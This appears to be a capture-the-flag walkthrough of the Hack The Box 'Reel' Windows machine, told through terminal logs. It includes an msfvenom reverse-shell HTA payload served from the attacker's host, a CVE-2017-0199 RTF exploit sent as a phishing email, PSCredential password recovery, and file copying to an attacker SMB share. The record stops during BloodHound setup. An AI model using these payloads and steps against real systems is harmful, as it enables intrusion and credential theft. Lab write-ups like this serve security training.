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# Reel Writeup
![](img/11.png)
## Introduction :
Reel is a hard windows box released back in June 2018.
## **Part 1 : Initial Enumeration**
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports.
[ 10.10.14.16/23 ] [ /dev/pts/2 ] [~]
→ sudo nmap -vvv -sTU -p- 10.10.10.77 --max-retries 0 -Pn --min-rate=500 | grep Discovered
[sudo] password for nothing:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Discovered open port 135/tcp on 10.10.10.77
Discovered open port 21/tcp on 10.10.10.77
Discovered open port 22/tcp on 10.10.10.77
Discovered open port 139/tcp on 10.10.10.77
Discovered open port 25/tcp on 10.10.10.77
Discovered open port 445/tcp on 10.10.10.77
Discovered open port 49159/tcp on 10.10.10.77
Discovered open port 593/tcp on 10.10.10.77
Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions.
[ 10.10.14.16/23 ] [ /dev/pts/2 ] [~]
→ sudo nmap -sCV -p21,22,139,25,445,593,49159 10.10.10.77
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-12 17:16 CET
Nmap scan report for 10.10.10.77
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18 11:19PM <****DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| TerminalServerCookie:
| 220 Mail Service ready
|_ sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49159/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.91%I=7%D=1/12%Time=5FFDCB73%P=x86_64-pc-linux-gnu%r(NULL
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\x20S
SF:ervice\x20ready\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n")%
SF:r(Help,54,"220\x20Mail\x20Service\x20ready\r\n211\x20DATA\x20HELO\x20EH
SF:LO\x20MAIL\x20NOOP\x20QUIT\x20RCPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n"
SF:)%r(GenericLines,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20s
SF:equence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:\n")%r(GetRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20
SF:sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\
SF:r\n")%r(HTTPOptions,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x
SF:20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20command
SF:s\r\n")%r(RTSPRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad
SF:\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comma
SF:nds\r\n")%r(RPCCheck,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSVer
SF:sionBindReqTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSStatusReq
SF:uestTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SSLSessionReq,18,"2
SF:20\x20Mail\x20Service\x20ready\r\n")%r(TerminalServerCookie,36,"220\x20
SF:Mail\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\
SF:n")%r(TLSSessionReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Kerbero
SF:s,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SMBProgNeg,18,"220\x20Mai
SF:l\x20Service\x20ready\r\n")%r(X11Probe,18,"220\x20Mail\x20Service\x20re
SF:ady\r\n")%r(FourOhFourRequest,54,"220\x20Mail\x20Service\x20ready\r\n50
SF:3\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\
SF:x20commands\r\n")%r(LPDString,18,"220\x20Mail\x20Service\x20ready\r\n")
SF:%r(LDAPSearchReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(LDAPBindRe
SF:q,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SIPOptions,162,"220\x20Ma
SF:il\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n5
SF:03\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of
SF:\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\
SF:x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comman
SF:ds\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequenc
SF:e\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\
SF:x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x2
SF:0commands\r\n");
Service Info: Host: REEL; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 1s, median: -2s
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: REEL
| NetBIOS computer name: REEL\x00
| Domain name: HTB.LOCAL
| Forest name: HTB.LOCAL
| FQDN: REEL.HTB.LOCAL
|_ System time: 2021-01-12T16:19:31+00:00
| smb-security-mode:
| account_used: <****blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-01-12T16:19:32
|_ start_date: 2021-01-12T16:10:40
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.48 seconds
## **Part 2 : Getting User Access**
Our nmap scan picked up port 21 so let's investigate it:
[ 10.10.14.16/23 ] [ /dev/pts/1 ] [~]
→ ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:nothing): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18 11:19PM <****DIR> documents
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18 11:19PM 2047 AppLocker.docx
05-28-18 01:01PM 124 readme.txt
10-31-17 09:13PM 14581 Windows Event Forwarding.docx
226 Transfer complete.
ftp> mget *
mget AppLocker.docx?
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 9 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
2047 bytes received in 0.03 secs (63.6166 kB/s)
mget readme.txt?
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
124 bytes received in 0.03 secs (3.6738 kB/s)
mget Windows Event Forwarding.docx?
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 51 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
14581 bytes received in 0.07 secs (200.3977 kB/s)
ftp> ^C
ftp> exit
221 Goodbye.
[ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel]
→ l
total 32K
drwxr-xr-x 2 nothing nothing 4.0K Jan 12 17:29 .
drwxr-xr-x 3 nothing nothing 4.0K Jan 12 17:29 ..
-rw-r--r-- 1 nothing nothing 2.0K Jan 12 17:27 AppLocker.docx
-rw-r--r-- 1 nothing nothing 122 Jan 12 17:27 readme.txt
-rw-r--r-- 1 nothing nothing 15K Jan 12 17:27 'Windows Event Forwarding.docx'
[ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel]
→ cat readme.txt
please email me any rtf format procedures - I'll review and convert.
new format / converted documents will be saved here.%
Let's use exiftool to check out the metadata of these files since readme didn't give us anything specific:
[ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel]
→ exiftool AppLocker.docx
ExifTool Version Number : 12.13
File Name : AppLocker.docx
Directory : .
File Size : 2047 bytes
File Modification Date/Time : 2021:01:12 17:27:13+01:00
File Access Date/Time : 2021:01:12 17:27:13+01:00
File Inode Change Date/Time : 2021:01:12 17:29:40+01:00
File Permissions : rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0008
Zip Compression : Deflated
Zip Modify Date : 2018:05:29 00:19:50
Zip CRC : 0x3cdd8b4f
Zip Compressed Size : 166
Zip Uncompressed Size : 284
Zip File Name : _rels/.rels
Not much in Applocker.docx, However in the last file we see a bit more useful infos:
[ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel]
→ exiftool Windows\ Event\ Forwarding.docx
ExifTool Version Number : 12.13
File Name : Windows Event Forwarding.docx
Directory : .
File Size : 14 KiB
File Modification Date/Time : 2021:01:12 17:27:15+01:00
File Access Date/Time : 2021:01:12 17:31:26+01:00
File Inode Change Date/Time : 2021:01:12 17:29:48+01:00
File Permissions : rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x82872409
Zip Compressed Size : 385
Zip Uncompressed Size : 1422
Zip File Name : [Content_Types].xml
Creator : nico@megabank.com
Revision Number : 4
Create Date : 2017:10:31 18:42:00Z
Modify Date : 2017:10:31 18:51:00Z
Template : Normal.dotm
Total Edit Time : 5 minutes
Pages : 2
Words : 299
Characters : 1709
Application : Microsoft Office Word
Doc Security : None
Lines : 14
Paragraphs : 4
Scale Crop : No
Heading Pairs : Title, 1
Titles Of Parts :
Company :
Links Up To Date : No
Characters With Spaces : 2004
Shared Doc : No
Hyperlinks Changed : No
App Version : 14.0000
For instance, this time we get a few more informations such as the username **nico** at the domain name **megabank.com** so let's add it to our hosts file:
[ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB/Reel]
→ sudo -i
[sudo] password for nothing:
┌──(root💀nowhere)-[~]
└─# echo '10.10.10.77 megabank.com' >> /etc/hosts
┌──(root💀nowhere)-[~]
└─# ping -c1 megabank.com
PING megabank.com (10.10.10.77) 56(84) bytes of data.
64 bytes from megabank.com (10.10.10.77): icmp_seq=1 ttl=127 time=450 ms
--- megabank.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 450.267/450.267/450.267/0.000 ms
┌──(root💀nowhere)-[~]
└─# exit
[ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB/Reel]
→
So let's open up the docx document and see what's in it using libreoffice:
![](prg/11/1.png)
However that's about it for ftp, now let's move on to that smtp port using telnet Which is where we need to send a malicious email which contains a malicious .rtf file as we got hinted to do earlier, to the nico user. We're going to use [CVE-2017-0199](https://www.exploit-db.com/exploits/41934) :
First we generate the HTA file:
[ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.9 LPORT=9001 -f hta-psh -o msfv.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 7431 bytes
Saved as: msfv.hta
[term2]
[ 10.10.16.9/23 ] [ /dev/pts/14 ] [HTB/Reel/CVE-2017-0199]
→ nc -lvnp 9001
listening on [any] 9001 ...
Note that this msfv.hta file is going to trigger the reverse shell connection back to us on port **9001** so don't forget to have your netcat ready
Then we generate the RTF file:
[ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ git clone https://github.com/bhdresh/CVE-2017-0199
Cloning into 'CVE-2017-0199'...
remote: Enumerating objects: 298, done.
remote: Total 298 (delta 0), reused 0 (delta 0), pack-reused 298
Receiving objects: 100% (298/298), 288.09 KiB | 1.20 MiB/s, done.
Resolving deltas: 100% (102/102), done.
[ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ cd CVE-2017-0199
[ 10.10.16.9/23 ] [ /dev/pts/2 ] [HTB/Reel/CVE-2017-0199]
→ python2 cve-2017-0199_toolkit.py -M gen -w nihilist.rtf -u http://10.10.16.9/msfv.hta -t rtf -x 0
Generating normal RTF payload.
Generated nihilist.rtf successfully
Note the **-u** parameter which is going to be the URL from which the box is going to get the **msfv.hta** file from, and next step is to send the phishing email with the **sendEmail** utility:
[term1]
[ 10.10.16.9/23 ] [ /dev/pts/16 ] [~/HTB/Reel]
→ ls -lash msfv.hta; sudo python3 -m http.server 80
8.0K -rw-r--r-- 1 nothing nothing 7.3K Dec 26 18:55 msfv.hta
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
[term2]
[ 10.10.16.9/23 ] [ /dev/pts/2 ] [HTB/Reel/CVE-2017-0199]
→ sendEmail -f nihilist@megabank.com -t nico@megabank.com -u "check the attached file" -m "very important mail" -a nihilist.rtf -s 10.129.179.102 -v
Dec 26 19:08:30 nowhere sendEmail[885036]: DEBUG => Connecting to 10.129.179.102:25
Dec 26 19:08:30 nowhere sendEmail[885036]: DEBUG => My IP address is: 10.10.16.9
Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 220 Mail Service ready
Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: EHLO nowhere
Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 250-REEL, 250-SIZE 20480000, 250-AUTH LOGIN PLAIN, 250 HELP
Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: MAIL FROM:<****nihilist@megabank.com>
Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 250 OK
Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: RCPT TO: <****nico@megabank.com>
Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 250 OK
Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: DATA
Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 354 OK, send.
Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending message body
Dec 26 19:08:30 nowhere sendEmail[885036]: Setting content-type: text/plain
Dec 26 19:08:30 nowhere sendEmail[885036]: DEBUG => Sending the attachment [nihilist.rtf]
Dec 26 19:08:43 nowhere sendEmail[885036]: SUCCESS => Received: 250 Queued (12.220 seconds)
Dec 26 19:08:43 nowhere sendEmail[885036]: Email was sent successfully! From: <****nihilist@megabank.com> To: <****nico@megabank.com> Subject: [check the attached file] Attachment(s): [nihilist.rtf] Server: [10.129.179.102:25]
Then we need to wait a few minutes for nico to fall for the phishing attempt, and we get a shell:
[ 10.10.16.9/23 ] [ /dev/pts/14 ] [HTB/Reel/CVE-2017-0199]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.9] from (UNKNOWN) [10.129.179.102] 51538
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
htb\nico
And we got a reverse shell connection ! We are now logged in as the nico user, so let's see if we can get the user flag:
C:\Windows\system32>cd ../../
cd ../../
C:\>cd Users\
cd Users\
C:\Users>dir
dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users
03/11/2017 23:09 DIR> .
03/11/2017 23:09 DIR> ..
25/10/2017 20:48 DIR> .NET v2.0
25/10/2017 20:48 DIR> .NET v2.0 Classic
01/11/2017 21:58 DIR> .NET v4.5
01/11/2017 21:58 DIR> .NET v4.5 Classic
16/02/2018 23:29 DIR> Administrator
04/11/2017 23:05 DIR> brad
30/10/2017 23:00 DIR> claire
25/10/2017 20:48 DIR> Classic .NET AppPool
03/11/2017 23:09 DIR> herman
31/10/2017 22:27 DIR> julia
26/12/2021 12:30 DIR> nico
22/08/2013 15:39 DIR> Public
28/10/2017 21:32 DIR> SSHD
16/11/2017 22:35 DIR> tom
0 File(s) 0 bytes
16 Dir(s) 15,739,142,144 bytes free
C:\Users>cd nico
cd nico
C:\Users\nico>cd desktop
cd desktop
C:\Users\nico\Desktop>type user.txt
type user.txt
faXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we got the user flag!
## **Part 3 : Getting Root Access**
Now on nico's desktop we see the following:
C:\Users\nico\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users\nico\Desktop
28/05/2018 20:07 DIR> .
28/05/2018 20:07 DIR> ..
27/10/2017 23:59 1,468 cred.xml
27/10/2017 23:40 32 user.txt
2 File(s) 1,500 bytes
2 Dir(s) 15,739,027,456 bytes free
C:\Users\nico\Desktop>type cred.xml
type cred.xml
<****Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <****Obj RefId="0"> <****TN RefId="0"> <****T>System.Management.Automation.PSCredential <****/T> <****T>System.Object <****/T> <****/TN> <****ToString>System.Management.Automation.PSCredential <****/ToString> <****Props> <****S N="UserName">HTB\Tom <****/S> <****SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692 <****/SS> <****/Props> <****/Obj> <****/Objs>
Here we see an output of the **Export-CliXml** command, which is this **cred.xml** file, we can get the password of tom out of it:
C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"
powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"
UserName : Tom
Password : **1ts-mag1c!!!**
SecurePassword : System.Security.SecureString
Domain : HTB
And we have tom's password! Now let's ssh as the tom user using his password:
[ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel]
→ ssh tom@megabank.com
The authenticity of host 'megabank.com (10.129.179.102)' can't be established.
ED25519 key fingerprint is SHA256:fIZnS9nEVF3o86fEm/EKspTgedBr8TvFR0i3Pzk40EQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'megabank.com' (ED25519) to the list of known hosts.
tom@megabank.com's password:
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
tom@REEL C:\Users\tom>whoami
htb\tom
And we now have access to tom's system account! Let's take a look around:
tom@REEL C:\Users\tom>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users\tom
11/16/2017 10:35 PM DIR> .
11/16/2017 10:35 PM DIR> ..
10/27/2017 11:38 PM DIR> Contacts
05/29/2018 07:57 PM DIR> Desktop
10/27/2017 11:38 PM DIR> Documents
10/29/2017 09:08 PM DIR> Downloads
10/27/2017 11:38 PM DIR> Favorites
10/27/2017 11:38 PM DIR> Links
10/27/2017 11:38 PM DIR> Music
10/27/2017 11:38 PM DIR> Pictures
10/27/2017 11:38 PM DIR> Saved Games
10/27/2017 11:38 PM DIR> Searches
10/27/2017 11:38 PM DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 15,736,729,600 bytes free
tom@REEL C:\Users\tom>cd Desktop
tom@REEL C:\Users\tom\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users\tom\Desktop
05/29/2018 07:57 PM DIR> .
05/29/2018 07:57 PM DIR> ..
05/29/2018 08:02 PM DIR> AD Audit
0 File(s) 0 bytes
3 Dir(s) 15,736,729,600 bytes free
tom@REEL C:\Users\tom\Desktop>cd "AD Audit"
tom@REEL C:\Users\tom\Desktop\AD Audit>
tom@REEL C:\Users\tom\Desktop\AD Audit>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users\tom\Desktop\AD Audit
05/29/2018 08:02 PM DIR> .
05/29/2018 08:02 PM DIR> ..
05/29/2018 11:44 PM DIR> BloodHound
05/29/2018 08:02 PM 182 note.txt
1 File(s) 182 bytes
3 Dir(s) 15,736,729,600 bytes free
tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt
Findings:
Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).
Maybe we should re-run Cypher query against other groups we've created.
Here we are hinted that there has been an AD audit, let's see if we have access to interesting bloodhound files:
tom@REEL C:\Users\tom\Desktop\AD Audit>cd BloodHound
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users\tom\Desktop\AD Audit\BloodHound
05/29/2018 11:44 PM DIR> .
05/29/2018 11:44 PM DIR> ..
05/29/2018 07:57 PM DIR> Ingestors
10/30/2017 10:15 PM 769,587 PowerView.ps1
1 File(s) 769,587 bytes
3 Dir(s) 15,736,729,600 bytes free
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>cd Ingestors
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>dir
Volume in drive C has no label.
Volume Serial Number is CC8A-33E1
Directory of C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors
05/29/2018 07:57 PM DIR> .
05/29/2018 07:57 PM DIR> ..
11/16/2017 11:50 PM 112,225 acls.csv
10/28/2017 08:50 PM 3,549 BloodHound.bin
10/24/2017 03:27 PM 246,489 BloodHound_Old.ps1
10/24/2017 03:27 PM 568,832 SharpHound.exe
10/24/2017 03:27 PM 636,959 SharpHound.ps1
5 File(s) 1,568,054 bytes
2 Dir(s) 15,736,729,600 bytes free
So let's transfer the bloodhound files back to our local machine:
[term 1]
[ 10.10.16.9/23 ] [ /dev/pts/14 ] [~/HTB/Reel]
→ impacket-smbserver -smb2support nihilist .
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[term 2]
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>copy * \\10.10.16.9\nihilist\
acls.csv
BloodHound.bin
BloodHound_Old.ps1
SharpHound.exe
SharpHound.ps1
5 file(s) copied.
[term 1]
[*] Incoming connection (10.129.179.102,61795)
[*] AUTHENTICATE_MESSAGE (HTB\tom,REEL)
[*] User REEL\tom authenticated successfully
[*] tom::HTB:aaaaaaaaaaaaaaaa:97ed7e26f0ec5b28ae6cb130414917ed:0101000000000000809d2c0658fbd70124aa28f4ea690e2f00000000010010007700660056004200780073004100710003001000770066005600420078007300410071000200100043007700570048007300450056005300040010004300770057004800730045005600530007000800809d2c0658fbd701060004000200000008003000300000000000000000000000003000005085ea7922d5329d13836e2e2a7350eacf7ee793c7c9205c7ad5e64f5183febb0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e003900000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:nihilist)
^C
[ 10.10.16.9/23 ] [ /dev/pts/14 ] [~/HTB/Reel]
→ ls -lash
total 1.6M
4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 27 20:29 .
4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 25 21:26 ..
112K -rwxr-xr-x 1 nothing nothing 110K May 29 2018 acls.csv
4.0K -rwxr-xr-x 1 nothing nothing 3.5K Oct 29 2017 BloodHound.bin
244K -rwxr-xr-x 1 nothing nothing 241K Oct 29 2017 BloodHound_Old.ps1
4.0K drwxr-xr-x 4 nothing nothing 4.0K Dec 26 19:00 CVE-2017-0199
8.0K -rw-r--r-- 1 nothing nothing 7.3K Dec 26 18:55 msfv.hta
556K -rwxr-xr-x 1 nothing nothing 556K Oct 29 2017 SharpHound.exe
624K -rwxr-xr-x 1 nothing nothing 623K Oct 29 2017 SharpHound.ps1
Now that we have transfered the files back to our machine, let's inspect them using bloodhound:
[ 10.10.16.9/23 ] [ /dev/pts/15 ] [~/Tools]
→ sudo apt install neo4j
[ 10.10.16.9/23 ] [ /dev/pts/15 ] [~/Tools]
→ sudo neo4j console
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /usr/share/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /usr/share/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses: /usr/share/neo4j/licenses
run: /usr/share/neo4j/run
Starting Neo4j.
2021-12-27 20:10:00.054+0000 INFO Starting...
2021-12-27 20:10:00.455+0000 INFO This instance is ServerId{39ac0325} (39ac0325-ca50-4041-ba6d-444c78dc4026)
2021-12-27 20:10:02.130+0000 INFO ======== Neo4j 4.4.2 ========
2021-12-27 20:10:03.469+0000 INFO Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2021-12-27 20:10:03.473+0000 INFO Setting up initial user from defaults: neo4j
2021-12-27 20:10:03.474+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2021-12-27 20:10:03.481+0000 INFO Setting version for 'security-users' to 3
2021-12-27 20:10:03.483+0000 INFO After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2021-12-27 20:10:03.488+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2021-12-27 20:10:03.700+0000 INFO Bolt enabled on localhost:7687.
2021-12-27 20:10:04.423+0000 INFO Remote interface available at http://localhost:7474/
2021-12-27 20:10:04.428+0000 INFO id: AC467907227285E4E491280BBC436619BBDF6A413FD78BD3F4BCB8455310E603
2021-12-27 20:10:04.428+0000 INFO name: system
2021-12-27 20:10:04.428+0000 INFO creationDate: 2021-12-27T20:10:02.593Z
2021-12-27 20:10:04.428+0000 INFO Started.
Then goto **http://127.0.0.1:7474** and login with credentials **neo4j:neo4j**
![](prg/11/2.png)
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools]
→ wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.3/BloodHound-linux-x64.zip
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools]
→ mkdir Bloodhound
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools]
→ mv BloodHound-linux-x64.zip Bloodhound/
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools]
→ cd Bloodhound
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools/Bloodhound]
→ unzip BloodHound-linux-x64.zip
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools/Bloodhound]
→ ls -l
total 100032
drwxrwxr-x 5 nothing nothing 4096 Jul 15 20:13 BloodHound-linux-x64
-rw-r--r-- 1 nothing nothing 102425633 Dec 8 05:47 BloodHound-linux-x64.zip
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools/Bloodhound]
→ cd BloodHound-linux-x64
[ 10.10.16.9/23 ] [ /dev/pts/20 ] [Tools/Bloodhound/BloodHound-linux-x64]
→ ls -l
total 175752
-rwxr-xr-x 1 nothing nothing 127561112 Jul 15 20:13 BloodHound
-rw-r--r-- 1 nothing nothing 179981 Jul 15 20:13 chrome_100_percent.pak
-rw-r--r-- 1 nothing nothing 321151 Jul 15 20:13 chrome_200_percent.pak
-rwxr-xr-x 1 nothing nothing 6322128 Jul 15 20:13 chrome-sandbox
-rw-r--r-- 1 nothing nothing 10505952 Jul 15 20:13 icudtl.dat
-rwxr-xr-x 1 nothing nothing 243992 Jul 15 20:13 libEGL.so
-rwxr-xr-x 1 nothing nothing 3103488 Jul 15 20:13 libffmpeg.so
-rwxr-xr-x 1 nothing nothing 8948976 Jul 15 20:13 libGLESv2.so
-rwxr-xr-x 1 nothing nothing 4488304 Jul 15 20:13 libvk_swiftshader.so
